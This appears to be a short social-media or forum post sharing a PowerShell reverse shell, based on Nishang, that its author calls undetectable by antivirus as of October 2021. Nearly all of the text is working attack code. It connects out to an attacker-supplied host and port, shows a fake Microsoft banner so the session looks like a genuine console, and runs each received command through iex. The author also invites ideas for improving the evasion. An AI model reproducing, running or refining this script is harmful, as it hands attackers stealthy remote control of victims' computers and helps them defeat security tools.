I just published an undetectable powershell Reverseshell script based on the original Nishang Framework. Any new ideas to improve are welcome.

-----------------------PS script-------------------------

#Twitter: @TihanyiNorbert (No AV detecetion 2021 october)

#Based on the original nishang Framework written by @nikhil_mitt.

$c = New-Object System.Net.Sockets.TCPClient($args[0],$args[1]);

$I = $c.GetStream();

[byte[]]$U = 0..(2-shl15)|%{0};

$U = ([text.encoding]::ASCII).GetBytes("Copyright (C) 2021 Microsoft Corporation. All rights reserved.`n`n")

$I.Write($U,0,$U.Length)

$U = ([text.encoding]::ASCII).GetBytes((Get-Location).Path + '>')

$I.Write($U,0,$U.Length)

while(($k = $I.Read($U, 0, $U.Length)) -ne 0){;$D = (New-Object System.Text.UTF8Encoding).GetString($U,0, $k);

$a = (iex $D 2>&1 | Out-String );

$r = $a + (pwd).Path + '> ';

$m = ([text.encoding]::ASCII).GetBytes($r);

$I.Write($m,0,$m.Length);

$I.Flush()};

$c.Close()

-----------------------PS script-------------------------